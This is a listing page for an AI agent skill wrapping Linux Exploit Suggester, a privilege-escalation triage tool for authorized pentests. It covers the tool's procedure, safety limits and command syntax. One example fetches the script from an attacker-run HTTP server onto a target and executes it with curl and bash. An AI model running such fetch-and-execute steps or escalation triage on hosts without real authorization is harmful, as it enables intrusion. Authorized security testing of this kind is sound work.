# Linux Exploit Suggester

> Use for Linux kernel and local-exposure suggestion review during authorized pentests. Trigger on approved Linux host analysis, kernel-version triage, and identifying which local privilege-escalation vectors may merit manual validation.

- Skill: `timsonner/linux-exploit-suggester` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/linux-exploit-suggester`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/linux-exploit-suggester/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/linux-exploit-suggester

---


# Linux Exploit Suggester

## Purpose

Use this skill to triage local Linux exposure candidates on an approved host after basic system context is known.

## Phase Fit

- Primary: Vulnerability Analysis
- Secondary: Retest and Closure

## Use When

- Need to compare host context to known local exposure patterns.
- Need to prioritize manual validation of a Linux escalation hypothesis.
- Need a repeatable retest after kernel or host hardening.

## Avoid When

- Host-local analysis is not approved.
- Output would be treated as a confirmed exploit path without validation.

## Inputs

- Approved Linux host and kernel context
- Output handling rules
- Manual validation threshold

## Procedure

1. Gather the minimum host context needed.
2. Review suggestions as triage leads, not final findings.
3. Manually validate only material candidates.
4. Record why a suggestion was relevant or discarded.
5. Preserve the host context used for retest.

## Command Syntax

Replace sample script paths with the approved local file location.

```bash
# Run against current running kernel
bash linux-exploit-suggester.sh

# Pass a specific kernel version string
bash linux-exploit-suggester.sh --uname "$(uname -a)"

# Check a specific kernel version
bash linux-exploit-suggester.sh -k 5.4.0

# Show all potential exploits (less strict filtering)
bash linux-exploit-suggester.sh --full

# Transfer and run via attacker HTTP server
# On attacker: python3 -m http.server 8000
# On target:
curl http://10.10.10.1:8000/linux-exploit-suggester.sh -o /tmp/les.sh && bash /tmp/les.sh
```

## Evidence to Capture

- Candidate local exposure paths worth manual validation
- Exact host and kernel context used
- Why a candidate did or did not materially affect risk

## Safety Boundaries

- Treat output as triage input only.
- Do not escalate to exploit execution without explicit written approval.